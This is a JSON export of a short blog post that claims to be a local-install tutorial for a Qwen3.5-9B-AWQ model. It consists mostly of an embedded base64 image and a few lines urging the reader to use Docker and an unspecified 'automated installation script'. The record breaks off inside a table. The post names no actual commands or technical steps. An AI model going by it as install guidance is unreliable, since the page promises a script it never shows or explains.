{"id":3939,"date":"2026-06-28T16:24:05","date_gmt":"2026-06-28T22:24:05","guid":{"rendered":"https:\/\/asoani.org\/?p=3939"},"modified":"2026-06-28T16:24:05","modified_gmt":"2026-06-28T22:24:05","slug":"qwen3-5-9b-awq-with-native-fp4-2026-2027-tutorial","status":"publish","type":"post","link":"https:\/\/asoani.org\/?p=3939","title":{"rendered":"Qwen3.5-9B-AWQ with Native FP4 2026\/2027 Tutorial"},"content":{"rendered":"<p><img decoding=\"async\" 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LRgUgeqxx3eFPFHYDpf8iUZ4CKkUVFlcRRW4lq9E6xh4sxjXdUaWEw5OuIGleW4DodIJiXEDUakfq7w3+XBoq8c7zpjE+cb0wDcSZGpzbHPTIaUFKph5x3dsWsGw5cSyouIySr0Q7FoK6XzqfXnzQVIrFP22Rw1PSbP89LsLRRsOHUe7P8sR3+fgo7H8CF1LIFiUAAetHLxIt1DOivACH1THV0jQ8jwkbTAWi3+\/CWiqBv88lanumD+yxpSfi7Lt\/eTK1a\/DtviL4KtsoSqYPKAVB\/Lg0CeNuklCidGN9f5R8luAaseZAImcL\/ajUfMH8C5Ea8+Coja1r\/1nHRDj0jLSzhtEpvW\/mcKIkhv\/gLMqTx6vkdIHPmRQv0SZPXztcg6od2CHBCBm9ktEVrg6fDgfEdLPIobsW0LxSGVIMLF3kK+KpN7D2z5eqy7aMsOywaD2i9\/yMSMuwU\/aIrI5N+9BkRcN03\/+U6JYk5FB096kN807ddqpgL09AqJN09OX2tutBfj5NDImUoQOsQVnyXGY0bOzWhAnPKXTl0K7ROJcNnG1BDVDD7xdO2qa3CYUQ9OBeBiBQpGqnDx2WcZqJfyScM+EwZQhBgrX5RNvM5uQHrOMe2uW5AHfQFG8I7EEvmzDW5e6ZYAlW4D8wnIQWGs5bVBYsRdUiGMMJVLvbtzgEiDmnzOtHzr7QHKzsDWFkRtLvLsXEmsMWWmDPCR1v56EhPQRH3NSXiViU6Jrxx9iUbjpZl0yfs9qHa\/riSlA3hziODj+D+TQCqYi5l7H9v6SBdvctaWRuG9YuPZoqY1tX4Vxe\/qOwjd8n\/j5YIsH5WYN8uo6TNOeqU9hkXLw2XidrUPOVv8zWy75KTthq08s0Mr7oRG0P9Des9lRTKJoLjbv+v8VHGxNZKeu0F2cWtR4\/p6zhP8qMKb7gIUP7CNG4yqbXO2W25cpbxfrPmtekuQYiFmPAtRN\/h1nXTnRQc0zfNs8xmIx9BchH408zEjJWYWANZgaqOHjAGw6Uk3NhgwaLFxb4OmLXmmahGKeuFy0qfBa3BVCF4pm6qq\/Y5+k8Ie2DVW3WEgA5P+NfKdf1SaI7YTM\/A5g74tP3L4NlhYF8G7KYOicSQd4Mk0PuB6GN3EIsYHk6AY6+y\/o9dGn8Y0VnSetJXTNtn4ObADA60kTgwSe18jMNMn7DewPqNPrhQvsShdB\/lnFmCxMz12NoAT5fKX6ongjuJQWP5oNpD0GxFUh9g4g8IBWl2WMvAriML+0zag\/lz9WPVSHm8+75arjWc9QNiKtIX4TOstsaiaVmpbfZcRvBKxfubipWyzt2AKbYLKS3BCbj6uS4MjSbp+hwZ+g7iGdVTCoI3nN8mUpYwGNCulj5TkS\/FQ\/Vr4ANfQws2aMr3BFOGxBdvp4vUCGVHMhfqoAXJ056OR1xTVyhnTScYxjrAbyOtnQ8WAHQq70j21EsXTIkY\/qXAXbhHk12IxDi1SCTzBInzRQrV7CmKWSt\/AJtQ87l7OXQA1kNryq4BrOwfUi8NxV3g8mq4fC2u\/pEAh4POqCpqBwqS1m4JI4GYNhWU8YlRP6LDTzafaFaHUfJopKRBRT8Df93d9VviKHtyDT6d9RI4DFWK589JMz+O\/Ll6y1h1MyBWVCKxi1ExmtL8uPhNzBZ6JntaL9oBbZshl23Bo9SAb+lzk2LXp11pFHd4r+Xi\/7g\/1Dk\/OaHxrOh4o3TYHsEZtciNb0lvGZCzE8bOvTM+isOI0lZJD2k7KV4bp6Gvlug1m44PAfeSYxg1G+D5wPHAaHlymXgF3zUEALNnT\/7U2EkdNuoX02i9v+OjiOgTT5yZyMiPUi7ifExopYO5jNbfMU1tIMOBOZTT9HhqdRGMFDKu2xgBVbYH49SJkvVTpdDkVS9OusNwHiKp0gTJZGK8tseUdhPfXyJZJuPKu3fkJ2mUn5bUrovQOuihf42Mwiwh9\/WXexsKkf9Bxn7ncvG1pQpIy6+xClOyCl\/xF2qKXz+ekA3LSHbJVWLQOET6x5Sg3qI5oiccy8uASDBvo2u4h9IYuqZfrqrF+y48iQw3kGJxkBJ7SEfnt4O5h11dicGam1N3GMVonc0AWbuXFtW3TukcnoFv9fy7TXZx36iXSHeNANdGuy4Yq2c1Z6+bATtShQG1YJOSRavc5hco4WH3qkXKq3ugKzmvTcUxyZz64pR3RQj1cJOXf\/pLEWyUucwAjzkxjm5kBB162c9w8OH3eTRSUMaff\/vg3HcOufdc\/F2WA1ALwq4a8d\/0PXU52lvw83kegHJPwnDHTlmwcJvajS5b6blKhZ67gRwsfwFmNwlE68Y8OV\/H\/VPI6FiEBpXRWe0tX9cf7Pcw3THzyrJXPP6+SBpugTO8\/n8f5bqdX2S8DxATeME2ThWCsponcD2atc9d0HRCu8g\/Wtw9NDLVYwwuTB5t2A+FjUVGvMNdFrDbd22xxu5ijnsGXERnFHRQWAW\/n4ZX\/nw28HMnXe05cMMuE7HnniMqVElVU8onlMvwFvG8aZSI9ixZzxUkt2YWTSW\/KWl4KXAhSwdF0wJvU\/zl4kXptV2OlQS7sI9Ru+Lh5iSosX6u9\/ZsqGccVfHbsIMD6\/21oIBHh\/b3n5i+lnau7buM6\/JpgdYyTSc9nocpFKoPnxBem0nJ2uZtjuEZSpHl0VfzbRv8lZdypcHnUQnLBIdINL8JuKmk137lAi0NARlzar9Qr0uM6bmTnP2WoVLkxtqVzLCxYEBsUn382lyZAZH2Fz8RWR\/XPodqxcNJCeAjZP3pv9b9\/sPjLq+hJ0PlwqdnGYFPeud0yHRhCUBNv7tOjuWJMnDOIX1YjWkmunLGvjq1gswzTg9VnHviycjquqqbglZJFGjCC9y0qZ0MuFJnJLERNP8Q\/yLwdQhfhQb9CeSnGL0s\/pYmYqpbnumsl1MHte02aV\/kRUt23YKQiCavNtZrZfa0sbXfS6Nriu05g4WcZISFz8wvwOIzdpqj4ikeGWupWiasqCtClhJPgE8YDnZ0jNI26QhYH3\/PZDsMz5n+bSFvAh2sx8KFLKDNAOuZnWtJF4uQRFfSAuPiCFvqPkZcfix3Eo3Xga9oefXCfW9aA0wQdnYdXPvfCJJRFbHdxUD3ur6rgU8zkV1kVn4Jac2KaaZowbmYxcjSdlo9khZ1DD7hfFvEQKixVf3mIxEfMANuat3UdAF18PGd66NeH+SJXl6FABZGIw\/ctQcb02FNHT0FvNYx8FG1jDQd8EI+dEPvhgs2G6WkiS9M9sOK3hYT8kME9uYyjSKVqMha8+bG4Lk8jzBqBAaRpu1qbMdydQsnvhYlG8s7uW72QBnuTg7m3bx0IeJYh+T4laf+rL9OLNJZvnmuj70RIJxAm8\/oCBmECZ7OHn5410ESO3rlM0Hhxq\/fdfSeQL60wqcZAm5CiwPKCZdXE7BpP+N3hEb73eEQjjRQikLMnOO05LgP7Fy\/xJYTtrt8iwSEUVLoh9uS3rfFbqKuzU04jUqOjbBuj8fKACkOT6dbzuRg3WQkQdBCZNAuE2Spnu6P5xSjr6xNtZPJ8eZpUJNoQ1JKBCZhQpFkB7PC1TNj1VId7pJdRJbRw7db4Xsha21lzg5OXIZQGy+5vRhIYumKaa9rD6OaOQTkxFb88CLj51wNhKYzAvD0s4d7JmMo\/yqGbmXCQLvFVbModEH8UOg600uzEydwjmH6K6LJwNrPAh1+rQypLcWRIvx0S6ygGELD+UxjnzzbLUgqGTERmdtDqJvSgp+OqVjTj7gQCA1b6J9jj9DX90CNbmlK4NW7sSJbtqx17J0+NUWRO06fKp4FuPnErGWI6cFj3oxcAeZsvhgL9z6xvH1\/y6kzfuZIUPfPumkJaGMzGYG9AC\/9rsZ3Zubld\/WIop3fwssJljyGWdYRxjyo7nj9GvgCka92s1sSfNu5HAL4gs87RQ9JcMs+wHv4mu1Ek8DO9ul+e33EWgY3Y3vv7CacHvBBwH2bqQf\/8JwDi\/DYlUWFLdqcn3tQzWE40PUMZa6OJ+eJtqbLAQqvMSN63BcWFEorGjNmTTWd7YbejD8U64bEKjLXjsNYYURGEhijjMIWEHfjZEp6xAUzbwqjJsRpBWX1eWFd\/gbrXw47CnDExOdDNgEkXTHFyD4VVoh\/zZv9pqLnKvJSxZe9GzYEgGlWGyIS8TNg4XcGCcwSd1pxOjO6zXZ1v+YMhmtR0rcagE\/4LGJ94WZaAqyQF2z0pRA7qp5+j08SxnP7tqtYjViKPA36oDX7xwH4c6gzVwGpfhNIgjQQXa7Xo23Ezyd+dgoumTPlkkK5r+8rfw2eioQtC24eAjoK0DKkHGuYF0DsGwQUbwJJfJFDBuIntxnfH3G1M9F2HwSaD\/pK8g0U0kBHmzBGWJU3SYegQc0rfFVRYNLapsRxE23DGk0wxjxuNfCPCO+ERn6\/DmrVouG8C1O9V\/4b6Eowjxy9+GTTTeZCenSQIPV0v0kDGxS2On9AhEMHA3GIZkxOgb0CMBCRgJB52Ti3kCxi2Uik+UPtbo+QTa4X5LnoSMgba7eT3TtYdfca9HflyTjtkLMMXTij+gMzAlrNMSw5hQ4L6TQ6A3rQNKtFOR\/H+yldJFAsqOjuzy5ON86Pj\/zKj0G7CiB70AekE3TqOfJ1DBe7wWe2Dckpp28xLCCVW9zJ\/lqVp2kWG26H6fAb0kttPDAtZ6pBhAo23s0ZuHtm7GZxnTrsun7N1RBEQ3pMvqaUqhBZqqtX4+R84jiY2x9C+mcsFrAJu1my21XqzGnwezH5VMSkm29R\/xT8m8ktroZRq09hFO0Nlbfqm99b00dDxbY92dBj3Fyri2F3uT6xn+BjqiW6cZv5S7MxvOc+0\/358Oc3Qrvmbg8V3aXmxhvr78B30oo57tGxhKBr33ZEhEvEmPdzvc7J8iVQOECsoMMtEVS306PRb+rDGCm5Bn0B5yeak2Z0G4S9YpiO8wiXW015VDmz8v6v4FbY2JXR+mvfSEJU0lutlKMG1iZfpZGel69HRK0i8lsuBqovOkH+JdR6Sj\/4e40W22\/UnTGfUJ3XTu2nTuqqf\/\/he7163AaZwz4tJyUWWOivwu74JLtZ946yKMcz0tdaqXkeK46mEwpntu6woRy5z+kRQ1QSwvA1IPz46LiDGYSzpzKLDxJRjRbZATJnvOHlDHzKwqh5PT1blH1a38HCdlWMe+ms9WZOqclw+Oj9h\/lRQf8bIRvy8sM1G6aqBjkr6bi7ZOoIlp08NOrB4cjqLqaPotT5yzx8Oc7RvIhuTWyGesu05mv+jFVCGPpwxV2aTBJxtRVxZMsFE7wHxlpc5dOGU4yuvzbJWB\/gopybQciew5OVq+k4WIPjUelAthjSozD0XB3hLD5BVqOa5TtAkSE0IMgveUYn74iTm61Fi0\/0Ev5gSgIpuTXyxiwKxkMjgOEzZpjvd4LoykIVgciLyKLxekUNDg4I+kMwAbruZvcgHAj4udv\/Y6g1sU6OtKcfEkGBLsug\/dM+VjXP7v9i1rTa0QrjoMS6dnFkT9JBGb+1VCvf2uPqpmFC6Hor0KropSZznFqevQw8GezsAfrT\/2WXlPLZXgqHUOTk2UgDlCDmEjWWA+hye8Epu9mh0NxN\/V2G0WltIUfGT5F+BJPddjJWoRWAt\/QY1WpC4aqXqguRNlaNqskgTgxR9csIF0UrDrCoXKzdJv9o6cYH6kQ6xF1HiMgb4EfJTLi9NfLEirdtj7h+uVMQds7jS3X12PQz7guHp90hzVXH+uul53172BttnS6mBCA7afafQoO1vKCn32qyMRkLcZIkMd4pVAc2zF7nASPqQWc2gln7D2w6OzPaq2yTHgTfSN+dfIxCz3nHp\/uqVLFUjsng2MqSzeBuBGDh+\/yxu1y9p6hUJVhoMl0nln7Zhq0Y0DwR1HS3MrWZMH9S\/YyIIAgVGdHfjIc0QeZC4G+iGDqNcCuVjp3GupV9g4UqB1L7lcQQqhhB7I\/6HIjI18p5sKpsPJBdgRMcdZPvskxqiyrKYXovx79Qz4FlGDulXKNoja6ygz80qTFDF6VTr\/cSbN\/2B+XtTY1YQI5KfDHNPMcRPLJu7MlLkMTOhLJ5kfiVJpgLVTrAQ4DkD6Nar7Z2if1KSDQK\/b2b7IhuLZXI1tMe8hIPZqXNBAGPNPmAg9DBvvH+OzpvPyJA0oPqL5sjXnf4Fob0VziKjfYZHk1HH9KCNVlBQOfuIGmmDw7CqPXbkMo7fh5y0WYh5C3+QEj4SWY5b7w7FJsJjEvTrjaJ3UfPdhwpSrKJmvB\/jjo0vHdvGWGL0wGana\/60yehxeLJxWGqwx6KmiPzZQGBGZdKgDXNNFY18+QTNzSlgG6BeWrPCDg2fEk5hchnHkGL\/W5Cutm0m9ErL69EuILmez8G4he6audKuGRMsZ5M\/jizRv4FiC9FjLPZFz+oNO1yJmXbSRGwHGwocGZs8UmuqLQZmYiCED8e\/GLfmpCE6wf5nloaSW6VxF8yj1YhXi6+bQoM610Koo+BI4vdWQs0lEl7\/\/63bnmUGXwaiFlWlHuYGhjIAlQsMrYjGyuihh3zx6smiI+eZ3SrCdsFCj8JTYM1WU1yQXlqpQwznSosyZxFNVtI6Y8oBjn7ojWaPOkqmB3gW5bnLwwqIhOgkScHDmddGDXzV4UA1V\/rF9IFSkH+oR4v2EHH5MVA8fSe9Wa3PBPGhWRhb4t+AkSR3b94WlQZ\/byTIMmPC1\/vSIViWwyaqR98TxoVvLiZuoBdbMjfkn2VT9aY0F817+C3e9MrQ4RIHW+jB06g7+DBufclkFslglR+hippfX1VHSEFgw1xGAxFZ4WSbXrcIhoFLnveGMov+4Sc\/BqwvWFtG8PKsGKLNKUm6rBNwnAEy5AG\/1yjzgUuA1xzsfG5f7Co+jW4gOEIGH4\/asSiJwJzPFHwOOrO7vmTQ0Ia0Nteq\/sivVaboPjtnInzt+LRZUVIDDS+z\/6L4I69GcF+ZArVFbIwE0NVjLCxr+NCFS9P7o89gKMdf9ds9x3S1qNyyiRiDEBI0HIySufifKq9lYKFcPqi30niCKElWTnU\/0BTg66KvO32J+VOv+LViYww\/7GpS4N2+6+g7\/ifjJAuW4AW3UPRV330LpeEg\/bYp4X3nGLDxd5EbO1WgWAxshh7la6WjCNmXDPEvQQIySmAOnd\/xhEUUTV7u4YJeBQsxug9Nn2zWKK355DD7vEUABqrvABhMxAPAUq4hk5c\/ed4evKvQJ\/J3LIhCltBkh6fw5+rANfZ5zDjP5\/neIqWze\/9UMCBjW6+HqG5+enCseMqKyNC\/G+\/1k4hf0ieRyuOCnKaiH+PrS4YXtydBpcXGAdgCHurSJ+QoVyPe5W\/mGwi4tKIasOnDnfCQ3LyZelMmt9O7lvz7VcVZ55XO7XqH8qvNVG16DYoxUHuSNR6Xgavz1t6V2uO96Rmcv4SsArcR\/3fVFIBokZpVKx9LRDy\/3ZDmbcbCcaFSUC2bO014wqwvrd\/Ltwi8rLLaJkA0T+hD7qf2CjzzeNG2+HAdztOsxE9THwJtceOnDt5pmh7+dM8OgArRmCcLUcrhXL0FdHkilaJRLtjR4MiCEfnKppOYuNJTkrBznmwEP7DqD9q9+s6OA5coFAAhWfbUZpS0Rob3\/BceZZt81M+4xAgjRf49LWncgOD2MF8KiCj58NS5j+Jx5NVuTl9dd7awKyWjVnvClbxEQXBgcd4rpUZFstksS9rPo9eGS3n2UUUvX1m37hgotKtFxmHa541rnjC\/\/4uywNEErxY2RA3LgAxF0z1MS6UBlGzUvfcQ8p300IULkO5+OPzsEwXTdm3SMVfgPoaOBUQ2+3dmqSAiLj8oOqDFq7tT44M2t4cnp4F8EbnhUbZlQHBufH8SgJkc7AheKU+Fy6DdNg2rrnkmFr2T98OXHqCismlc7ryhm9buGS0szoealZowxrZ84f\/Nw2SZkrBEHBWA9ZtshBOczY4Ry3WLUiQ9NUHDGEmoY5dYQ0fI4Ht8enjjff0Bk6yCTmPcsxFWHHB2nMxFh174CeW4x++ymrjinuhkkPnQxeCj8jqboXTbg0mU+kbQW5FXY5ql8s2DJaqHbi\/OClC7eEx4aM8S5nHQbAJ56XKiRqWnkBxYoleX8kRKxOqflL9Q4VMJRvuTCWH+L31RmmcpKf2+t56B7q4+5HPz0Sb7T0wG47HNzqNksfoRyPaWczZJjDw5QJpKg0jYRzJnnTKRAfX0WGv1ppo6J6N2+1\/AyUYzMLG\/iaZKT7GRdZVghc1NTEcARGoTODOcB4V6vBzF8yhGVcGlWl4jSlmstANrnG3uHkJabh0m\/ArPTD3x5x8MrZQcQ1vYKv1ZuR2zk3nC+Dt\/cInmBg\/iZqTX1tsbtI6JKs95xpHT4P1CldzwaTpAuHH4DP3Jr1jPY9GoTfwUO9yyH992U\/Hszf1kAZBPr8qk6k5aHRLI45AaChF36RKd4u+D3oueEOmKZNMOwFe2EsjogXGqsPQVpw+ydWEGYyPDSFXf5VElvPOzOUURr79XRw7ZFo9LxZQ4e64FB5xGB6UwOuJXryNtRtSqeZrSX3Czl2gYaxOsgpZQv+LeNC96hJRE+PPYg2YavWVqJazTkrYZtl8pD8CWCvdK\/v04PuDtzCEhIPSQxVQeM7iDK\/e55xCI0w8rZ+ac\/V42ewG5+u7HkOHoTRU64vFaiX\/lRWr0L\/4hLd4nQrmTP0mSiK6rNBLuOyxM0Hgh8HGWZGv0GJ34v+0LBU4MpBjJV9cC4NSYkiJX6Cd8t\/HaxMb8HkuZuF8gLzjS42y0ng\/c3vjml3z6sNDQr4+QNTOFosGwgFf9HVRzqISI7CNaPcUDkBYyMoRDVqRhSwo3zLgZEVNbjBpGSQB1cpRnnw\/rAT04SYl04i7d9EB8l\/6dR2Q1njrFo3NEO0ZjbAwGj+ssLcTiyfh3A0o4WKICgUcx6otXzAwPXnlItaq\/LeACuWwBQ0TDgihQ32FqrjaSvYCljVeYVqA4Zrp5II565mH3+evb079Tc2dqt08tJIsb0KAOuAe\/7rwgE1GDLXVKFgmfeO8B5e5juc44jmvFjebPn4a02ofGiDfOzu1w5b4yRHJrXb77wdWgiCbnfPFUz8ScT0ZC6yV7H9DJY54FFJl8cdQUmewtJZwzAjMVez+G3fHu8WNzO\/dV2luH3ET\/IojZbNvFFIvehzHlGlNl7TNqjB2WsHeaMsEj+Kw3w8YAsIS+IQqLeUxT2SOGSIsOzR81ns6fW75\/GU9RpLYaac2Rtn1anenlHLEk40IaVC4Gzm4BUTtdon1qMC1gZ1M5mo2Kmu6G5cFbyTjgKcn\/0A0bT7erC7zk2kOFZcryT8hKZFx6WZFwMKCYl3NwQ\/SNT+KcvxtZHcZuhhVpj6nhLPIN6iKgxz0xNINrPoGZgXYj7L8Q9jaBrV4XIAc1N6U4WV5AXz3xWM5e86IDK+9lX3iJiYkdJgnBdn8jwWi49INRdH4Kt5MHj4LaCgYd4JhDm7in52x5WAQMKrr2rN3nqvWk\/qtCjTMwrNQO4uApGrZaNjTwZ\/QGUJkXSvi7V0yOdT4Ya2w747nWjsCg9soRBy0y6xaibsXDUE5qdLVNFfB4ac+6LQ3n8Nqb2JKu3NMETX8zNXH0MLA2qXWFc7P4tJ31UkYOVjfNuwAU5o2km+hv4Zd7KD7vtNT9jei\/4ehnAeEXGzxtHjNuGNP5miQY2RN9skm5Yfxl3egq\/cZKeQXlTWeUcBuWTGLW2X5s66N7Mj+zisOqB9mkL0yFfwvM6lAUef7F8j4NwhhLPxLtBX0O\/6LVavolI2KHj4vWHQGz8vDJ52lx6zbiK2ErXUgB2jx03KbwW4B+JSsgs57HCyP1FjJFCpLqO7VWcX2PG2LFQAfBUq5c2NZiUskH4VPKdwX1OlDqLb0\/57i3k706aGNutjkQrlJXiCX6q2yw0Y\/vMfGaj4zFlYOSZ8Oxy41FYLnfjjOHR6SaQaLvtGZE4TVNDSw0hIOA3QCgQwNcKQNuFnJHAfwjhzVG7uLH8poWtPakFgVycK9yiBHgOkr4vn08ibLFqv40jnLXn3yG7hD8J3qdVsulWmwKSl5txg8ENosXaUHSDbspyUe+YTfVMc1kZj2jSsscsI3NF3EtrUC\/mWYyCygvM1PKjV907Cn9AnXGtoO35m3XbhM50g9dZBT2Zrc5jN0yJC8ggQZtI9veQvrIP8K4KIHiv+I6Sko4yuQK92wwNCmNXbCAxpcb+besvNm\/9m\/3LiwRwM6PVwVdb4H1W31Ni3URcA0YYlo6RA4pKVIVXiE\/43VEHoIKFC3zobpC9QTTcteVnI2Zrqs6H6K0NCoK\/uWmj93y048rGGpYOLq0jjD\/gscqy2b9U0Ug04N+nTTYDQn2PeQSBAm\/1029bOm+pM11qBnno8uGDCEMkb7LZ8tPeukXQ3s1XMs0N1QQeQSBpVsAIJR0\/2dvCra8akrD4laKUBiMXUSD8NDguqpbIqwD1J3Hs3uvp2ICsqyqnNlWZNWRw4wgdKZr\/i6EFkkLb\/xNgB8g0Bv8SgDOuH\/Maz4mUgQDIRVJ+1UWOL42AzlJZgnrBGk+sf+LwKu\/bQvPc\/e7vkIAWfGmOkWp3mwkOIrnE\/1fiI3XGeqdJLw+o9k4M7EbIaziMOJ3UERUtF2KytROuB6SSpB4eJPC3U6SH9niCX6PTntDmu50gaPP8AuQ4WgQvO43DolhQKfyWpudUpjUM2zKinxvaCIfIKD1r0r3Lllgr\/OaxOv1qgIf2CFeSByKMKsvql2Zv7HZAaNwBKD3LgDQ6apWt3fa4FPni8vYqeXvE3HQZ+5ApYSxuMJvCRvhu9HPIIkM1+uFZCI4TNM3RROyED2wr3Q4\/7fPNqLfD7lXbY\/hqGiKkvwAoSZkwMgIzKZNIVaGpK0wW9rRTt4bWn40pUzKFYO95c61cp+HgkNLj440bugSTHXigULIX38BsukcBtSbbmM6x6EmQ6uqeA+LhNUOoztWi9eWcNu+Fa8MM+t9PRPpLe4NESIH+POMqeTzXyKgPVIYnLYdXm7nfVQevzzxUyzyvRa72Gvv1stCgqp\/SIBEfIeJebHKCnHknHmwlsWg7y3JS7yN9\/h7xWyk\/90K8\/w0WR5uOcROzoRi\/f6e79CT+B4k5erco90VzFJlXpO4ki5h7Bg3f2vf5XRQqFFJewK+RI2PKZ2N0zmgceh2Hy8+djn2bxO1IyHtixw\/A5YTSPTc8q+7D0dEfhLqyuwvODHyqVDpCiy3SNXt7u4WRY5VN1CuRmQftd1jHwYhIxmR6a+0M8UUhD7XB9ihgxuk2C9GXL6XGN4\/6y6vOQPJdnHJMQXt7RyfG9dHYrsvBMTY0g1wgX\/9iXSqoT3hM9ol30Te\/I7RrMUIMdxGXfkd98YQ3ZJNRPtBm3td8ceNoYTjoHVTVdVTTJNnNQQJWmZUEqKNsVX\/B0RNO1OrkuoAa7EVz+9wLHUCfu\/qTTOoKjI6cQQHtvNzZIQemra6a\/LlasL+cX\/HCbvAHdcF\/7yF8qoy3zEo7JdIqKPADDEfuIQePPaEjW9PWyaFljpf+NBYzlSbcZnwYGxy91940A76WzAeMsKQLnJGkVdmIzn4\/jgXWs1XvHsD9afQKWMBoes7oLvMzGWq6u96q2dhgQajCAJwvb09yg2vJqxSwxz6ROHnBwpupiKag5SXdIfB\/jb7Wie3vT+XtodGHAfZHHDIWtmoAq\/RojTapUcEMQ5WUw56pnqKwxz6CYF783oEHrdfLYVsTbzfWM7ZmtTiYomp45HxFDG9VlWrUslLQ2UQMe5Lg5KbMr0y1yVLvsRAugGMxmrUFk2lzLKhOI7Zc8eoUSUfw2CKLAJmKgVjHAoxmDJqFbn9qI0OXIUOU1quLTVc24xU3\/RgfiK6kQqontmbY2JO6fwDWde1rctFfVPPLbPg4jRKGLcIvNKr841DBeMTFQfxEbj7EHvqkc9\/TjDpHY5sl3tuJsRBP0ggdpLGKbiiaTRBMoHZH4CpWFil3h0J2u3\/4Nl4T8Y2Od2qsxujWA5gLkwP+7vBmG8ZrGma+MF9GvLRie\/b7T2k4YzirjjjXf46rfiPwUPsnmOhVZ6XoD3LwXrxkLrbukFOUafa6EerRaTa6CYzFe9HbTIylgLHMYk06xF82lCqnvI90DouDKJbsTqXk69gV8Nc8NpcriL0Se\/CwSheNnRFfcu0GSYST1yBg+cXMUCVf1qftF18eLFZG7muXf9tG\/SGTzJb2wW7NbPa3kjjl+ts1sItR661g\/phQaW5QIrlTe+ziqzx+qEqLjiGp056yQ37mPZH08rZL\/peGayocaj+lUpda1MXhG1ufBT+bZqnjA0Y17YXY+QZ3es1BLy7r\/PEDwacH7W0DWuArslXhSw+mvyWIo1I500nk0bvIgFPS1IGMMXj8iuY\/H9PnPOQHieUg8ChPXEH+tMq1yT+gn7uWv87Yi3BYVCaDjSin7\/us9CMIYZ\/jPMCBKkPejKO0Jq+PNdZGroApzHIuhoc1BrwpBkx3F5bfR8FnA6zyRHU1TD4hV6YDOK3ebyRYI4ump\/4o7laj+kN4FUH4dwtd55fWLMSXey51Zw3+uFkMwSdhjF\/7y3CDqLRCfRtqw0rUkTXBJf\/wRFKQqmr\/KL\/U\/1u7Y3OvGkJA2guH0jL1osU8BYOyX0E6bMPFj5w714Vi2E0nn63s3HAwD\/TZryhSLqcHDWM5TaIh3xC3LPsHfxQRfia4y66dOPQ9KDsGTCWKjCuxgy8X\/WI7f00Mpz05CO9zOGp\/W1TY1WzHQNX42yjYv+gf58GO98n+B47eiMAlV1Ej+vzKZbjDaaMp6Bfn75Teiqvw1gpuQO7WKIo\/rkHKVgP+FIcl+vXZ\/6gw23+Hw+ljHqd5+kw0T4AprI6tV9rE9+O\/9IWQQ07W6Uq3yDZtYz8pYcbff92oqv1RoDUomGBgPqa0RO5H\/yrB\/IQ2WU9Yz5+Momh3Yw0Ins+QKdUemqcR7+ZNwdfkQ\/22ZFv6xX2dBpKfxz0HnWumLVialpdnYwSgM6iGt83fnbEeNMvlPfrY5SxSpoN7emAol5uVBoq1Pcv17GxZatEtkkCjDfqVAzbTKNwhtRkTJGSoL52B0wyhCweElXpBXCeizmwJB6LQ3B6btv6uR+ehZVrOeoIZ+a1W\/lwCyXo\/ddKOlzMfFXZbYCgXwbkzPTP2l\/Epu3d\/Lu2SRAvo302JW7VbL1Dhpusd1doutN1vytTGIr7UiK+Bn69wGUo6wLftEGx2gBjAt4EpzUuhNhBeOFcErM9lDjtcym7rZlw3oiouzu6q8Z+gJIX3WEXt94lG3QBNq82yn19vwof3f+DgeTjDtIM1wvNAucCGyRRj95Nncp09sbxg6Q4y9VUM6uGHndJzgh2VMuIqPU2DNjvJf2RlhbwgpJD5fupQP1YydWD5Q3uGG8ky+oNXVPdEy6nwu5RmJ7fOc5p4zyvR6otHpKLbljv1gVGqoSXU1c5r1C3rBRkHgO3u\/4GrNzps1mJoiNaMZZMTsBuVHQtrpw\/Drsuw9JxW5+hXKbmy1p2XsvEscBmGzmfib\/DQ8uC86O9zaJsVq5O+EWPESTjZ5jnZCOXztDpdRBhBKxBGEDqhVzpSHRf3mRq8KgMOhYn0P7LKVcezZkkiU6Rl0aLAzHqxhdOWHVkqVy+GUUHsZaKOxrx\/\/6VVk0UuUtXsVSkxWr7l3kPZmgIHueRP\/+qkf+TcfiHlHCnJbwyBZKKMy8TO4gutFaCbjc\/IZ7\/xp5tyKGblKkbpJXus7Bh3KNcAMHArW0mKTzDBjt26pOcAbs541JbGTNnqKWMi7mdFz+jf7g4b07pMHUA9NmZ2oJOkdv53c60IHcSwWzwS85Bnpf8lj8d0jffWyzxSxdrLepOY3ufve5kwmgEL6EX9yyS3X9x14wI09P7MO+jQpViLQZ2KBNu9P0msJ+JkPr9kM8LCSwWzObKFmITwjzx1UvkoGJLiVyBIY4yZCgiazyrZPVHPQwaIm+n06VtBzWCNS8SGalPdrueBMUSjjhvRboSzcxd+f28N\/yCNBJ9D1277C7hnrS4FGt0pWi4egiiwf8xEta3OwvOC0OkHXEUJ1i8utKFsoKvblvQtJXmoziAKBKgyj7cplF6Z3xXBsVEBC4Ksoyr8FIAIlGl3H\/JPci1inQiBr0UsAAryVs\/myJkzCiiDEBv+O9R3YgQEx6SBFnVAV+KWSo3F75U8ug96PZdoH56Q+5Tb82PTZY8V\/NZrt\/W90FCPiO89c+PxDniNUcv7OhwMIDEMFo2tG0EJo90GP3U4rd7RHrnX4mXTF8VS3GhUX8PcO\/WJ2hfH+VfoZN2BO4zdVb7BAd7hPG24HRUus5KSJdVi219b5rDpdlTcihQ3gYgR\/P\/t4m6gAkk3Ut7RJSQyXQ+0z4H9nTedEmMCkxkz+9zs2kuWQnUxQAzW3qj3qOrCkWycXp91meIkSFjHpndRpiEkXgxPDTH7tE+4riwFGJrAZpufWFpba6pfe68Ucc2fw3o0D8HzLuPzG4jVGQLJ1v8NsO9SWeRdr26uQrINGoNFoAdaEvnZqYL6qUta9MCB9X+hkZ+4ZBleqhhNC91O0vrITKbXAYIOSJKvfz1xmAgPqIWDd0gwyt1J9vWwjFMZTZ\/JYHd\/U5lsX8NZxVjojjj9KgnbBs6cLnZAx58jHqLS77YWT5RAW+U3Gbp92jirYBRnXmZJsqquTpjJhQ19mLAdN24WBVxRuw5nOvuPR7D1xA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alt=\"Qwen3.5-9B-AWQ with Native FP4 2026\/2027 Tutorial\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest method<\/i> for installing this model locally is by using <b>Docker<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p>The automated installation script takes care of everything by <b>tailoring the setup perfectly to your system specs<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:26px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 28px 56px rgba(0,0,0,0.12);border:1px solid rgba(0,0,0,0.05);\">\n<tr>\n<td style=\"padding:52px 